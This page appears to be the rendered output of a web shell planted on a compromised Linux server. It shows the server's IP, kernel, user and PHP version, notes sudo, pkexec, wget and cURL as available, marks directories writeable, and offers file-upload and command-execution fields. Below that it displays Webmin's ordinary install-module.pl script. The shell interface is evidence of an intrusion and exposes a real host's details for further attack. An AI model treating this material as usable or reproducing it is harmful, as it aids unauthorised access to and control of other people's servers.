Private
Server IP : 195.201.23.43  /  Your IP : 3.128.247.220
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin//install-module.pl
#!/usr/bin/perl
# install-module.pl
# Install a single module file

# Check arguments
$nodeps = 0;
if ($ARGV[0] eq "--nodeps") {
	shift(@ARGV);
	$nodeps = 1;
	}
while($ARGV[0] eq "--acl") {
	shift(@ARGV);
	push(@grant, shift(@ARGV));
	}
if (@ARGV > 2 || !@ARGV) {
	die "usage: install-module.pl [--nodeps] [--acl user]* <module.wbm> [config_directory]";
	}
$file = $ARGV[0];
$config = $ARGV[1] ? $ARGV[1] : "/etc/webmin";
-r $file || die "$file does not exist";
open(CONF, "<$config/miniserv.conf") ||
	die "Failed to read $config/miniserv.conf - maybe $config is not a Webmin config directory";
while(<CONF>) {
	s/\r|\n//g;
	if (/^root=(.*)/) {
		$root = $1;
		}
	}
close(CONF);
-d $root || die "Webmin directory $root does not exist";
chop($var = `cat $config/var-path`);

if ($file !~ /^\//) {
	chop($pwd = `pwd`);
	$file = "$pwd/$file";
	}

# Set up webmin environment
push(@INC, ".", $root);
$ENV{'WEBMIN_CONFIG'} = $config;
$ENV{'WEBMIN_VAR'} = $var;
$no_acl_check++;
chdir($root);
$0 = "$root/install-module.pl";
eval "use WebminCore;";
&init_config();

# Install it, using the standard function
&foreign_require("webmin", "webmin-lib.pl");
if (@grant) {
	$newusers = \@grant;
	}
else {
	$newusers = &webmin::get_newmodule_users();
	$newusers ||= [ "root", "admin" ];
	}
$rv = &webmin::install_webmin_module($file, 0, $nodeps, $newusers);
if (ref($rv)) {
	for($i=0; $i<@{$rv->[0]}; $i++) {
		printf "Installed %s in %s (%d kb)\n",
			$rv->[0]->[$i],
			$rv->[1]->[$i],
			$rv->[2]->[$i];
		}
	}
else {
	$rv =~ s/<[^>]+>//g;
	print STDERR "Install failed : $rv\n";
	}

Private